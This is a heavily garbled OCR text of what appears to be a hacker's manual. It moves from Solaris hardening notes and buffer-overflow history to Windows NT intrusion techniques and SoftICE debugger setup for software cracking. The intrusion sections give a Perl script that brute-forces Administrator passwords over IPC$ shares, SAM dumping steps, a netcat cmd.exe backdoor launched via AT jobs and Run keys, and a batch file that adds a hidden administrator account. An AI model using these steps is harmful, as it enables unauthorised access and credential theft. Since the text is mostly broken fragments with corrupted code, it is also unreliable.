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gcc
www.sunfreeware.com
www.sunfreeware.com Solaris25 8
gcc  gzip
www.sunfreeware.com gzip gce
pkgadd
Apache
www.apache.org Apache perl.apache.org modperl Embperl
mod_perl Solaris 8 perl
Solaris 8 perl
/export/home/apache
ucspi  tecp gmail dnscache
ucspi  tcp gmail dnscache
/bin/sh

Svscan script for running gmail  send via supervise
PATH= PATH /usr/local/bin
exec /var/gmail/rc

/sbin/sh

svscan startup script placed in /etc/init.d  linked in /etc/rc2.d
case" 1"in
'start'

x lusr/local/bin/svscan exit 0
cd/usr/local/service PATH= PATH /usr/local/bin /usr/local/bin/svscan

'stop
cd /usr/local/service
foriin Is/usr/local/service
do
sve d i
done
PATH= PATH /usr/local/bin
Jusr/bin/pkill  x  u0 P1lsvscan
fusr/bin/pkill  x u0 P1supervise

echo "Usage 0 start | stop
exit 1
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esac
exit 0
dnscache
dns
DNS
ip 127.0.0.2
lo0 1 tinydns 127.0.0.2
127.0.0.2 .interna 2
dns
RPC
NFS NIS TOOLTALK SUN RPC
rpcbind RPC NFS
NIS letc/rc2.d rc3.d S71rpc S73nfs.client
S15nfs.server rm S
/etc/inetd.conf RPC
ttdbserverd OpenWindows
{usr/openwin/lib/openwin  sys ttsession
NFS
NFS
NFS nosuid
ROOT NFS
NFS fsirand
NFS RPC NFS NFS
Solaris 2.6 SNMP  DMI Sadmind SNMP
SUN SNMP
——snmpd /
[etc/rc3.d/S76snmpdx S
S77dmi dmi [etc/rc3.d. Sadmind  inetd
HUPinetd
nsco——
Nscd dns
NIS NIS nscd Netscape nscd
nscd segfaulting

nscd
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nscd
TELNET
RPC Wietse Venema
SUN rpchind
“ 8 libwrap

Robert Morris
Unix
fingerd daemon
Morris

Morris

1988 1996

Levy

rpchind

12

Morris

SSH

ACL
TCP wrapper

sshd

1988 Morris

Morris

Morris

1996
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A wDdpPE

SHELL

Windows NT

UNIX

Windows NT
UNIX

run time stack

run

C
time stack

Unix

Levy

C

100
SHELL
ROOT
Windows 2000 AXelsson

SHELL

ROOT
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payload

SHELL

Miller

Miller

Linux
Levy

Morris

Miller
Miller

main

payload

payload
payload

OpenBSD freeBSD

payload

UNIX

Solaris

strcpy
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Miller

Unix

C strepy
strncpy

Unix OpenBSD Linux

OpenBSD Unix
3
3
Wojtczuk
C
Alexander Snarskii
FreeBSD FreeBSD
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Snarskii
Baratloo  Tsai BELL Singh
LibSafe
C strepy
strepy
strepy
strepy
strepy
strepy
strcpy a b
A B
I a strcpy
strepy
syslog
LibSafe C C LibSafe
C
C LibSafe LibSafe
C
C
Andrey Kolishak  BOWall Windows NT
Kolishak

DLL Sharskii
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Kolishak ~ BOWall
Windows NT
3.
100 Java
Java C
C
buffer i buffer i.
strcpy char dest char src 2
Jones
Kelly C
C
Solaris
ROOT Java
Java Java
Java C
C
Cowan Wagle Pu Beattie and Walpole
canary
canary canary
canary
syslog StackGuard
Linux
canary
line feed eof payload C
canary
“ Bulba”™ * Kil3r” StackGuard
canary
StackGuard Cowan
2 XOR
canary
“ Bulba” “ Kil3r"”
StackGuard
StackGuard LibSafe StackGuard
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StackGuard
LibSafe
3
Morris
79 finger
exec'd shell
SUN SUN
SUN fingerd get
536
shell
fingerd
fingerd
1
2
1
2
2 3

StackGuard

StackGuard

TCP/IP

fingerd

finger
400 VAX

512

Levy
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UNIX

Showmount

Sendmail
/etc/passwd
showmount

25
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3.
UNIX
UNIX
sendmail
1.
[etc/hosts

DNS DNS

UNIX
ftp  guest
finger  ruser
boot s
-rhosts  .netrc

Internet

CPU
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finger  ruser
Finger
liwrml @safeunion finger @taget.host

Login Name TTY Idle When Where

liwrml Distributed Shared M console 28 tuel2 19 another.host
target.host IP
8
NT 3 5

NIS RLOGIN/RSH NFS

UNIX SUID root
3.
Internet 24 Internet
1
2
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promiscuous mode “ "

2 MAC
MAC MediaAccess Control.

modem
MAC 6 16
MAC
0S| 7 Layer Model
TCP/IP TCP/IP
“ NetBEUI” TCP/IP
Raw Raw
1
Usera | == =| i B Imtemet | ksierEs
| - — _ \
I — — — —
i3
1

UserA IP 10.0.0.23
UserB IP 192.168.100.54

UserA UserB UserA 10.0.0.23  192.168.100.54
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IP IP
IP
UserA UserB IP UserA
UserA
B WMAC
RMAC
Q800
IPH
CRCH B
2
UserA 100
20 IP 20 TCP 60
14 MAC MAC
TCP/IP 4
CRC
MAC MAC
4 0x8000
3 MAC
MAC 48 48
24
MAC
24
Unique Identifier
Oul 22
MAC
MAC 030000000001
00000011
“ NetBEUI”
TCP/IP
4 MAC
Win9x
Win9x “ winipcfg. exe”

UserA

0x0800
CRC

14

24
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WinNT
“ ipconfig /al”
MAC
Windows 2000 | P Configuration
HostName............ bigball
Primary DNS Suffix .......
NodeType............ Hybrid
IPRouting Enabled. . ... ... No
WINS Proxy Enabled. . ... ... No
Ethernet adapter
Connection specific DNS Suffix
Description.. ....... Legend/D Link DFE 530TX PCI Fast Eth
ernet Adapter  RevB
Physical Address. . .... 00 50 BA
25 5D ES8
DHCPEnabled. .. .. ... No
IPAddress. .......... 192.168.10.254
Subnet Mask . ........ 255.255.128.0
Default Gateway .. ... ... 192.168.10.3
Ethernet adapter SC12001
Description.......... DEC DC21140
PCI Fast Ethernet
Linux
“ ifconfig”
ethO Link encap Ethernet HWaddr08 00 17 OA 36 3E

inet addr 192.0.2.161 Bcast
192.0.2.255 Mask 255.255.255.0

UPBROADCAST RUNNING MULTICAST MTU 1500 Metric 1
RX packets 1137249 errors Odropped Ooverruns O
TX packets 994976 errors O dropped Ooverruns O

Interrupt 5 Base address 0x300

Solaris
5 MAC
WIinNT  Unix “ap a
6 MAC

MAC

MAC
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MAC
EEPROM MAC
MAC
1.
DNS IP
ping
1 IP 10.0.0.1 MAC 00 40 05
A4 79 32.
2
3 MAC 00 40 05 A4 79 33
4 ping ping IP
5 MAC
MAC
6 MAC
MAC Windows MAC
MAC MAC FF 00 00 00 00 00
FF FF FF FF FF FF
MAC
“ flood”
2.
Linux
Windows
. o
Loading ...
i &
Kltiangrant
Lo B AL T TR R LS TR ’ i
http

/Ibigball xici.net
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Windows 98

1 WinZip
Zip
UZPC  UltraZip Password Cracker
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Zip

Zip

Zip
Zip
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UZPC
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Zip
Zip
Zip

Zip
“ Brute Force”
“ Plaintext”
“ Next”
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1  WPSfor DOS
WPS Ctrl QIUBOJUN
2  WPS 2000
WPS 2000 “ "o
" ! " http  //cyg.yeah.net/ EWPR Edward
Wps Password Recovery
EWPR  WPS 2000 “ Encrypt
WPS 2000 file’ WPS 2000 “ Type of Attack”
“ brute force”
“ Brute Force Range Options’ “ Start From”
“ RUN" EWPR WPS 2000
“ Pause” “ Resume’
2  Office
WPS 2000 Office
Windows 98 |E Office

AOPR Advanced Office 97 Password
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Office 2000 Office 2000 Office 97
AOPR  Office 2000 AOPR
Frojest Rscowsry Llanguepe Xalp
D& @ | b of & W L% 205
Ererpled Ofwe 57 docarent Tops ol stesh 2
I e
Brsedorce | Dictionary | Sufirsass | Opbons Berchest |
e S T
0 sl W S5O0 o iimwnis DODELE b kg C ol
O MEreeall Exsal 572000 docurvants 103t it secored
Caicudada =)
Cumend parremid Cumerd gl
5 lahu werdowr
SO0 AT 1& d52E - Lovmdten baeaguinies s bod Ergisly’ ;|
STEHEFIATT T e 8- ALUFH 1T bsrachend, wnisgund mebs v, L eahas) dipshisd
Z0003 4H 1& 4525 - W s-compatbls peocemim delecied
=]
Pouiaieeii il 124
dwareed Of€uce 9T Pamgword Becawvery vercien 1. 31 (o) 2000 Aoy Badyaher, Eloom Lid
15
“ Encrypted Office 97 Document” Office
“ Brute Force Range Options’ “ Type of Attack”
* Brute Force’
113 gartﬂ
3 LotusWord Pro
IBM Lotus Word Pro
Word
Lotus Word Pro
Lotus Word Pro Lotus Word Pro
Lotus Word Pro http
/lwww.lostpassword.com Woprokeyd Password recovery for Lotus Word Pro
Wprokeyd Lotus Word Pro

16
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o By - Passsord Becovery ! x|
[esq pessrraca-paotmcted Lohes 'Wisd Fro [ L'WF] e o this - e
chialon ot ko sscoree The padveoed —l Q
This i & defe weior Sl vill seoower anky e fist letter of the il |
pagseond. Plesse wisk hipc e losinss smond com For updsisd demo versions
o] detads on oederng a Al vermion

£ H

I

16
“ Settings’ “ Brute Force Settings’ Woprokeyd
“ Password Character Set”
Lotus Word Pro LWP Woprokeyd
Wprokeyd
ICQ
ICQ ! §
ICQ
ICQ
ICQ Password Revealer http  //www.encrsoft.com/  ICQ Password
Revedler DO UIN 17
& P i
1T LN Hames and passeords recoveresd:
____________ ICH i ot inestaded o pour Compotes
: 2
L
17
“ " ICQ
ISP E mail
@xxX.net/ @xxx.com
OK EmailCrack
EmailCrack
POP3 POP3
EmailCrack mfc42.dll  msvert40.dil
VC5.0 win95\system VC
win95\system

Internet Email Crack 18
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Henmer
I
gl
Passwnd it le: | |
= Ty ussr mamn  Thie o Mumbes |17
1
=i
Besich: Get
18
1 “ %rve’ addreg'
P P
PING PING P
2 “ Userlistfile’
“ user list file .. "
3 “ Password list file”
“ password list file” “ ”
passwd passwd
4 * Try User name”
5 “ Thread Number”
20 30 60
& B%ln”
“ Search”
o Result.txt
EmailCrack
1] ” S ICQ
NEWDB
Foxmail

Foxmail “

POP3
IP
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LEEE NS - AR =10 x|

|{ﬂ Ei‘ﬁm I.I.lp:."ﬁ:k:u[t yauh nal I

| iREsh EEOEFESIET e MTETEE0L
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=5 |
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19

http  //xksoft.yeah.net/

RO s o

Windows NT
Windows NT
1 NetBIOS

root  admin

portscan ——
NT UNIX

NT NetBIOS

Sam 139 139

“ NetBIOS session” NT
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SAMBA  Linux UNIX 139
“ NBTSTAT”

NBTSTAT NetBIOS NetBIOS
LMHOSTS
NBTSTAT 1

it nams
1bx

Efine ] namss snd gheis 1P

- = ] WS

1

nbtstat a RemoteName A |P_address c n

r S S interval
a name table 2

CrsMTHIDWE nht s tat A AFZ.1EE.A.16

Lama H H:
" | pRddi-ess: L1992 21 Boope ld: L]

i Rematn Machine Hams Tabkls
| ype status
UK QUE
uF
K1 GE
L0 LRE
LROUF
K1 QUE

HAC Address afa-L@-GE-88-Aak-78

a poflb-sery

B #:
| pAddrazzr [192 A.21 Beopa Tdz

Retilie: Hemote Rachine Mane

GROMIP
T QIE

B—bi & E-e-aD -
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1P & i in the carrsct Format, It needs

docted das « Tor example 11.11.12.13
¥You entersd “pollb-seruver”

c name cache IP 4

[122.168.8.2]1 Scope Id: [1]

Mo names in cache

n NetBIOS 5

: D192 16BE.A.2] fcope 1d: @]

HetDIDE Local Hame Table

Tup=s
FEFRE—SHA D LY 4 > UKLl E
PFCERI EHD SAR:  GROUP
PCEE-SHHILY {A3r UHIGUE
PCEE=SHHILY 2@y UWIGUE
PFCFHRI EHD <1E} GROUFP i tered
EHHI LY CHEM {B3r  UMIGUE Registersd
5
r broadcast WINS 6

C:sWINDOWS >nbtstat —»
MetBI0OS Mames Resolution and Registration Statistics
Resolved By Broadcast
Resolved By Mame Server

Registered By Broadcast
Registered By Mame Server

MetBI0OS Mames Resolved By

PCF16—SERVER <8a:
PCF?—GCH

SJF

PCF4-UANGYUAN
PCF2-\MB
PCF16-SERVER
PCF12-CAT

PCF1-4WY
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CrsMWTHDDWEE nht s tat 8

Lama H B

adie |pRddeess s

Het RT10E

Loosl Hame

L4 K]

RN 1G] S BT

Lana & Wil
orn | pidddraee: D192 1LH.H.Z
HatB

Local Hams

FCFS
FCPE-EHHILY
EHAILYCHEH

EHHT LY

NBTSTAT

Input ——

Output ——
In/Out —

Life —

Local Name —

Remote Host ——

Type ——

16
State —— NetBIOS
Associated

Connected

Disconnected
Disconnecting
Idle
Inbound inbound

Listening

Outbound

Reconnecting
NBTSTAT

Li%%E. 168 .20 Scope ld: L)

Conmect iom Tahle

Im~UwE Hemote Host Impaat

Listening
Lilster <

Inslut Remote Hoxe Impue Db put

outbound inbound

IP

unique  group NetBIOS 16

State MeaningAccepting
IP
Connecting

TCP

10
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CrwMTHIOUE bnhtstat A AFZ. AR A6

die |pAddress: [1¥2.168_HB.21 & & ld=
Hat A1 DS RAematn Machine Hams Table

| ype

*CF16—KERJER ARy UHIQUE
HI 4

GRMIP
ERUER UHIQIE
o EHUER Ul QINE
EHD LROUr
+ UHIQUE

HAC Address aa-Ld-GE-8a-Aan-78

C \>nbtstat A x.x.x.x NetBIOS Remote Machine Name Table

Name Type Status

DATARAT < 00> UNIQUE Registered

ROLABS < 00> GROUP Registered

DATARAT < 20> UNIQUE Registered

DATARAT < 03> UNIQUE Registered

GHOST < 03> UNIQUE Registered

DATARAT < 01> UNIQUE Registered

MACAddress=00 00 00 00 00 00

Type
Name Number Type Usage
< computername> 00 Workstation Service
< computername> 01 Messenger Service
<\\_ MSBROWSE > 01 Master Browser
< computername> 03 Messenger Service
< computername> 06 RAS Server Service
< computername> 1F NetDDE Service

File Server Service

RAS Client Service

Exchange Interchange
Exchange Store

Exchange Directory

Modem Sharing Server Service
Modem Sharing Client Service
SMS Client Remote Control

SMS Admin Remote Control Tool
SMS Client Remote Chat

SMS Client Remote Transfer
DEC Pathworks TCPIP Service
DEC Pathworks TCPIP Service

< computername> 20
< computername> 21
< computername> 22
< computername> 23
< computername> 24
< computername> 30
< computername> 31
< computername> 43
< computername> 44
< computername> 45
< computername> 46
< computername> 4C
< computername> 52

CccCcccccccccccccpcc
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< computername> 87 U Exchange MTA

< computername> 6A U Exchange IMC

< computername> BE U Network Monitor Agent

< computername> BF U Network Monitor Apps

< username> 03 U Messenger Service

< domain> 00 G Domain Name

< domain> 1B U Domain Master Browser

< domain> 1C G Domain Controllers

< domain> 1D U Master Browser

< domain> 1E G Browser Service Elections

<INet Services> 1C G Internet Information Server

<IS Computer_name> 00 U Internet Information Server

< computername> 2B U Lotus Notes Server
IRISMULTICAST 2F G Lotus Notes

IRISNAMESERVER 33 G Lotus Notes

Forte . NDB8O0ZA 20 U DCA Irmalan Gateway Service
Unique U name IP

Group G group IP
Multihomed M name

25
Internet Group | WIinNT
DomainName D NT 4.0
NBTSTAT Type NBTSTAT
NBTSTAT
NBTSTAT Type < 03> Type
< 20>
2 IPC —_—
IPC Inter Process Communication NT
NT
IPC
IPC RedButton NT
NT
admin ie shares “ "
C WINNT IPC
IPC o
admin IPC “ interprocess communications’ IPC

IPC EventLog
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¢ \>netuse\\ IP \ipc /user < name> < passwd>
username  password “ Administrator”
'net’ username  password

€ \>net use \WXX.XXX.XXX.xxx\ipc ~ /user < name> < passwd>

open IPC  “ netuse \WxXX.XXX.Xxx.xxx\ipc  /user < name> < passwd>| "
NAT NAT
NAT Perl
Java Java Unix 98
Perl
begin script
ipcchk.plx
IPC log
IP
¢ \>perl ipcchk.plx IP
open TEST “ names.txt’ || die “ Could not open file.”
open LOG *“ >>ipc.log” || die “ Could not open log.”

if  length ARGV 0 ==
print “ Usage perlipcchk.plx  ipaddr ”
exit O

server =ARGV 0
while < TEST>

name =
chop name
print “ netuse\WW\ server\lipc\  /user Administrator name|\n”
open IPC “ netuse\W serverlipc\ /user Administrator name| ”
while < IPC>
if  grep /successfully/
print LOG “  server accepts connections for password  name\n”

delete a successful connection to avoid multiple connections to
the same machine
open DEL “ netuse\\\ server\lipc\  /d|”

end script
C BASIC

c \>netview\\ IP

NT
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C \>net view \\0.0.0.0System error 5 has occurred.Accessis denied.

C \>netuse\\0.0.0.0\ipc  “ " Juser “ " The command completed successfully.C \>net
view \\0.0.0.0

Shared resources at \\0.0.0.0

Share name Type Used as Comment

Accelerator Disk Agent Accelerator share for Seagate backup

Inetpub Disk

mirc Disk

NETLOGON Disk Logon server share

www_pages Disk
IPC
IPC IPC
IPC net

¢ \>netusex W\ ipaddr \ share

C >netuseg  WXXXXXX.XXX.XXX\C
C g
c \>dirg /p
IPC Start - Run
regedit Registry — Connect Network Registry IP
Registry
net net

Net Accounts

Net Computer Net Config Server Net Config
Workstation Server Workstation

Net Continue NET PAUSE NT
Net File

Net Group
globa

Net Help
Net Helpmsg message net error function essage
Net Localgroup local group Net Name

Net Pause NT

Net Print

Net Send

Net Session

Net Share
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Net Statistics Server Workstation

Net Stop NT
Net Time
Net Use
Net User
Net View netware
NT NT SAM  Security Accounts
Manager ¢ \winnt\repair
SAM._ SAM rdisk
C
¢ \>copyg \winnt\repair\sam.
User Manager
c \>rdisk/s
c \winnt\repair SAM._
¢ \temp>expand SAM._ sam
SAMDump SAMDump
¢ \temp>samdump sam > samfile
NT [Ophtcrack  NTCrack
netcat
nc L d p port t ecmd.exe
L netcat
d windows DOS
p
t telnet
e
runnc.bat netcat
PATH c \winnt\system32\
netcat nc.exe NT
winlog.exe runnc.bat
netcat netcat
Telnet cmd.exe
netcat
¢ \>nc v ipaddressof target port
NT telnet

Schedule AT AT
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Control Panel — Services

Perl
begin script
atchk.plx
AT
IPC administrator
perl atchck.plx
useWin32  Service
use Win32
my status
Win32 Service GetStatus " ‘'Schedule’ \ status
die “ serviceisaready started\n” if status  CurrentState ==
Win32 Service SartService Win32 NodeName 'Schedule’ || die

“ Can't start service\n”
print “ Service started\n”
Note  This script was modified from
http  //www.inforoute.cgs.fr/leberrel/perlser.htm

end script
AT AT AT
AT
AT \\computername time “ command”
AT \\computername time  runnc.bat
NT registry

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

NT

begin batch file
@echo off
net user Admin /add /expires never /passwordreq no
net localgroup “ Administrators’ /add Admin
net localgroup “ Users’ /del Admin

end batch file

Netbus
Back Orifice NT
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NT
getadmin dil
Administrator
sechole.exe
debugger
Key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows

NT\CurrentVersion\AeDebug
Value Debugger
DataType REG SZ
Default Value dwtsn32 p Id e Id g

User Manager
User Manager rdisk
/s
NTFSDOS DOS
NTFS
SAM Systems Internals NTFS

BBl srvir s
“SOFTICE” & “TRW2000”

SOFTICE for Win9x

- Symbol Loader
- Winice.dat
1 SOFTICE
1 SOFTICE 4 05 Win9x for Win9x
SOFTICE SOFTICE setup.exe

1
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NaMega SofrlCE
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rew T

ImEE IRl TP e
el o e e
e e W m e e N

2 readme.txt

Frlw i i P 3 il o & i Mg o Infci e 2anir e o poes dmd
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1 SOFTICE DOS
Universal Vidoe Driver Use monochrome

card/monitor Test

2 SOFTICE windows
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Universal Vidoe Driver

iotict sotup

BoftICE Universal Video Deiver test completed

suscessful 1y,

ps/2
SOFTICE
SOFTICE 5 Mosue Setup
Sebeci e typs of mouss which i connscisg in Vo Lyemsm
= il jeonmohed o GO
7 Haypal | Convenclnd 1o COME
" EELY compakble
™ Plgear
:;t-.::::!:::hr::u!:ﬂmmﬁ Flsln=0nl
™ Eecagenoil lnnibdnuso
sgack [ e ] Comcal |
5
4 SOFTICE winice.exe
SOFTICE for Win9x SOFTICE
winice.exe Windows DOS winice.exe
SOFTICE C \PROGRA 1\NUMEGA\SOFTIC 1\WINICE.EXE
Autoexec.bat Windows Autoexec.bat

SOFTICE
SOFTICE Winice.exe

Test
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Winice.exe Windows
5  Symbol Loader
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SOFTICE
1 Genera
Initialization string SOFTICE
WD2 WC14 FAULTSOFF IXHEREOFF IYHEREOFF setfont2 lines40

2 Exports
DLL SOFTICE DLL
VB VB
3 Keyboard Mappings
F5=" ~x " F5 X.
4 Macro Definitions

s7878% S30 OL ffffffff 78787878 " s7878 S30 OL ffffffff
78787878
5 Remote Debugging

winice.dat
6  Winice.dat
Windows 9x  SoftICE winice.dat
Soft ICE DLL/EXE SOFTICE
winice.dat

PENTIUM=ON

NMI=ON

ECHOKEY S=OFF

NOLEDS=0OFF

NOPAGE=0OFF

SIWVIDRANGE=ON

THREADP=0ON

LOWERCASE=0FF

WDMEXPORT S=0OFF

MONITOR=0

PHY SMB=32

SYM=1024

HST=256

TRA=8

MACROS=32

DRAWSIZE=2048

INIT=* FAULTSOFF IXHEREOFF IYHEREOFF setfont2 lines40 wd?2
wc20 codeon x ”

F1=" h"”

F2=" "wr "

F3=" PAGEIN B ProcDump32 Dumper Server ”
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F4=" ~rs ™

F5=" ~x "

F6=" "ec ”

F7=" "~here ”

F8=" "t~

F9=" “~bpx "

F10=" "p "

F11=* "G@SS ESP "~
F12=" "pret "

SF3=" ~format "
CF8=" "XT "~

CF9=" TRACE OFF "
CF10=" "XP "~

CFl1l1=* SsHOwWB ”
CF12=" TRACEB "~
AF1=" "wr "

AF2=" "wd "

AF3=" "SOL FFFFFFFF8B CA F3 A6 74 01 9F 92 8D 5E 08" VB3

AF4=" "sQ| ffffffff 56 57 8B 7C 24 10 8B 74 24 0OC 8B 4C 24 14
33 CO F3 66 A7” VB4

AF5=" ~sOQIffffffff FF 75 EO E8 8 EF FF FF DC 1D 28 10 40 00
DF EO 9E 75 03" VB5

AF8=" "XTR "

AF11=" ~dd dataaddr -0 "

AF12=" "dd dataaddr -4 "

CF1=" dtscroff lines60 wc32 wd8"”

CF2=" wr “wd “wc”

MACRO s7878=" S30 O L ffffffff 78787878 "
MACRO sname=" SO0 L FFFFFFFF 'toye' "
MACRO swide=" sO| FFFFFFFF'7" '8 77 '8 '77 '8 77 '8 77 '8 7 '8 '7
g 7T 8"
MACRO reg=" bpx regqueryvalueexaif esp-8 >='Softdo” d eyp-14 “ "
MACRO bpxpe=" bpx loadlibraryado " ddesp-4* "~
MACRO bpxgeta= bpx GetDIgltemTextA  bpx getwindowtexta bpx getdigitemint  bpx
getdlgitemtext "
Examples of sym files that can be included if you have the SDK
Change the path to the appropriate drive and directory
LOAD=c \windows\system\user.exe
LOAD=c \windows\system\gdi.exe
LOAD=c \windows\system\krnl386 exe
LOAD=c \windows\system\mmsystem.dll
LOAD=c \windows\system\win386 exe
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Exports change the path to the appropriate drive and directory

EXP=c \windows\system\advapi32 dil
SOFTICE
EXP=c \windows\system\kernel32  dll
EXP=c \windows\system\user32 dll
exp=c \windows\system\gdi32 dll
exp=c \windows\system\comcti32  dll
VB VB SOFTICE

EXP=c \windows\system\msvbvm60.dll  Visual Basic 6
EXP=c \windows\system\msvbvm50.dll  Visual Basic 5 DLL
2
EXP=c \windows\system\vb40032.dll Visua Basic4 32bit
EXP=c \windows\system\vb40016.dIl Visual Basic4 16 hit
EXP=c \windows\system\vbrun300.dll Visual Basic 3
EXP=c \windows\system\vga.drv
EXP=c \windows\system\vga.3gr
EXP=c \windows\system\sound.drv
EXP=c \windows\system\mouse.drv
EXP=c \windows\system\netware.drv
EXP=c \windows\system\system.drv
EXP=c \windows\system\keyboard.drv
EXP=c \windows\system\toolhelp.dll
EXP=c \windows\system\shell.dll
EXP=c \windows\system\commdig.dil
EXP=c \windows\system\olesvr.dll
EXP=c \windows\system\olecli.dll
EXP=c \windows\system\mmsystem.dll
EXP=c \windows\system\winoldap.mod
EXP=c \windows\progman.exe
EXP=c \windows\drwatson.exe
Examples of export symbols that can be included for Windows 95
Change the path to the appropriate drive and directory
EXP=c \windows\system\kernel32  dll
EXP=c \windows\system\user32 dll
EXP=c \windows\system\gdi32 dll
EXP=c \windows\system\comdig32 dll
EXP=c \windows\system\shell32 dll
EXP=c \windows\system\advapi32 dll
EXP=c \windows\system\shell232  dll
EXP=c \windows\system\comct|32  dll
EXP=c \windows\system\crtdl|.dll
EXP=c \windows\system\version.dll
EXP=c \windows\system\netlib32  dll
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EXP=c \windows\system\msshrui.dl|

EXP=c \windows\system\msnet32 dll
EXP=c \windows\system\mspwi32 dll
EXP=c \windows\system\mpr.dll
Windows SOFTICE
CTRL D Windows F5 Windows
DOS
SOFTICE
setfontn n=1 2 3 set font 2 800 600
setoriginx 'y X vy
linesnn= 25 128 lines 40
Ctrl Alt
Ctrl Alt home 0 o0
Ctrl L
winice.dat SOFTICE WD SET FONT 2
winice.dat INIT
INIT=* WD2 WC14 FAULTSOFF IXHEREOFF IYHEREOFF setfont2
lines40 x " TRW2000 800T 600
setfontn linesn
SOFTICE for NT/2K
1 SOFTICE for NT/2k for 9x SOFTICE
9 Manual
SOFTICE SOFTICE START SOFTICE
SOFTICE
e v Il Pl B o iy SoSCE
w oL peios Calecl il
TR St yy A -yt
= ———— sk i e
cgsck [ e | e
9
2 NT SOFTICE SOFTICE Loader Edit/SoftICE
CODEON FAULTSOFF I3HEREOFF WD3 WF X
Symbols Exports SDK
SOFTICE SDK exports WInNT
/System32 dil
advapi32 dil comctl32 diI comdlg32 dl gdi32 dl kernel32 dlI msvbvm
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50/60 .dil msvcrt.dll oe32 dlI oleaut32 dil
shell32  dil  user32 dil  versiondll
TRW2000
SOFTICE
SOFTICE TRW2000 TRW2000
Windows
EXE
DOS TR
1 TRW2000
TRW SOFTICE TRW2000 Windows NT
ZIP 200 K
TRW2000.EXE 10
FHECETETTTE Sl ]
Eils Help
Flsane inpin fla neme : | : |
l Lisgad |
Mesaage Dbt : Bawsmn
=
TR
_I_I
10
SOFTICE
1 Cl M 0 Win9x Soft ICE Ctrl
D
2 Ctrl N 3 0 Ctrl
N Windows 3
SOFTICE TRW2000
TRW2000 plug ins dil 1 15 dil
dil VB VB dl
VB ReadMe
2  TRW2000
TRW2000 TRW2000.ini

TRW?2000 Initiaizefile
Please modify it as your habit .
PLUGS=C \MY_PLUGSHELLO.SYS
F1=HELP Command length CAN'T be longer than 15 characters
This command length is 5 charcaters.
F3="SRC
F4="RS
F5="X
F6="EC
F7="HERE
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F8="T
FO="BPX
F10="P
F12="PRET
HOTKEY=320D Ctrl M
R3HOTKEY=310E Ctrl N
GRAPHICS=ON
INTELLIMOUSE=0OFF
WINMOUSE=ON
LINES=50 indec
SOFTICE  TRW2000

TRW2000 SOFTICE SOFTICE TRW2000

SOFTICE Windows CTRL D

SOFTICE TRW2000 CTRL N 11

HHAEHH EH =11 YA RO EIE ~ EF FLAA"
MR E =] ESEF-L-DF I ElF=ErrJ/iran
(=1} ES=H1kE | g 11K [ =1

l:'ita;ﬂ'n'—:-'-lfv'i_'- :

B
¥TE «ili HTI L]

ELAR §ESTF 4000 H e
EENHELZ R lxladfnadPir

12 F . et S, Eﬁmi
g =0l TelILF :TFEIRADE L+ T Hiosd - THLE
T S 00 F=AILF P00 L W AT Hiwd = THROLE

- TR0 —

“ PROGRAM”

CPU CS IP EIP
“ ? SoftICE
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SOFTICE
Soft  ICE

Soft ICE

X Soft ICE

Soft  ICE

Alt 1
Alt L
WIN

WIDE —_—
NARROW —A46
D ERU WIDE

Soft ICE

Ctrl 1
Ctrl
Ctrl -
Ctrl

wC
WD
WF MMx
WR
Ww

SOFTICE
Soft ICE
Cirl D Soft ICE
Soft ICE
WIN
NARROW
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Shift 1+ ——
Shift | —
Page Up——
Page Down——
BackSpace——
Esc—

Soft ICE Soft ICE

16 byte 2 word 4 double
word “o
12—
10FF——
EO00 0100——
UCS IP 10
10 byte
AL AH AX BL BH BX CL CH CX DL DH DX DI SI BP SP IP
CS DS ES SS FL
8
Soft ICE 16
segment address
offset segment
Soft ICE Soft ICE
LDR.EXE
Soft ICE
e Cs IP
@ -
.number——
Cs IP
@ @

10
U.1234—— 1234

U 10— 10 byte

G @SS SP—

Soft  ICE WINICE.DAT

Soft ICE winice.dat 12

CodeView
F1— H
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Fo—— AWR
F3— ASRC
F4— RS
F5—— AX
F6—— AEC
F— AHERE
F8—— AT
Fo— ABPX
F10— AP
F11— "G @SS SP
Fl2—— SoftICE RET  XXXX Apret

A Enter FKEY
10

H
H
H — 16 10 ASCII
Soft ICE 80386
Soft ICE
16 0 F
Soft ICE “ sticky”
BC BD SoftICE 16
10 BPM 80386
4
SOFTICE

BPM BPMB BPMW BPMD——
BPR—
BPIO—
BPINT—
BPX—— /

CSIP—CS IP

BPAND—

BPM BPMB BPMW BPMD——

110

BD—
BE—
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BL—
BPE—
BPT—
BC—

SoftICE

” o w ”ow ”ow

Soft& Trw2000

< >—
X|Y— X Y XY
count——count
1 Soft ICE
verb—— R
X
address—— 16

3 8
break number——

list—
mask—— 1 0 X X
BPIO 21W EQ M IXXX XXXX
21

BPM BPMB BPMW BPMD——
BPR—
BPIO—— 1/O
BPINT—
BPX—— /
CSIP—CS IP
BPAND——
BPM BPMB BPMW BPMD——

”ow

16
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BPR—

BPM size address verb qualifier value C=count
sze—B W D
B —— hyte W — word D —— Double word
size
qualifier size
veeb — R W RW X
qudifir — EQ NE GT LT M
EQ — NE — GT —
LT — M —
qualifier
vaue —
BPM
verb RW size byte
X verb IP
verb X CS IP
R
R W RwW
BPMW BPMD
BPM 1234 SIWEQ10C=3
10H 1234 S
BPM CS 1235X
CsS 123%
BPMW DS FOOW EQ M OXXX XXXX XXXX XXX1
DS FOO 0
BPM DS 1000W GT 5
DS 1000 5
BPR start adderssend address  verb C=count
start address end address —
veb — R W RW T TW
BPM
T TW verb CsS IP
R
verb W
Soft ICE

4K

CS
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verb T TW back trace
SHOW  TRACE

BPRB0O0O0O 0BO0O 1000W

BPIO— 1/O
BPIOport  verb qualifier value C=count
port ——
veeb — R W RW R — read IN W —— write ouT
qudifir — EQ NE GT LT M
EQ — NE — GT —
LT — M —
vaue —

BPIO /O
value IN OUT /
value 1/O

CS IP
verb RW
BPIO 21 W NE FF
1/0
FFh
BPIO 3FER EQ M 11XX XXXX
1/0 3FEh I/O

BPINT —
BPINT INT NUMBER <AL |AH]|AX >=vaue C=count
int number —— 0 FFh
vaue —

BPINT AX
DOS BIOS
value

value AH AL AX
CS IP
INT
CS IP
BPINT 21 AH=4C
21h DOS 4Ch

BPX—— /
BPX address C=count
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BPX /

CSs
ROM

BPM
BPX 1234
1234
CSIP—CS IP
CSIP OFF| NOT dart

NOT —— NOT CS
OFF —— CS IP
csip
CcsS IP
CS IP
csIP
CSIPNOT FOO0 OFFFF 0
CS IP
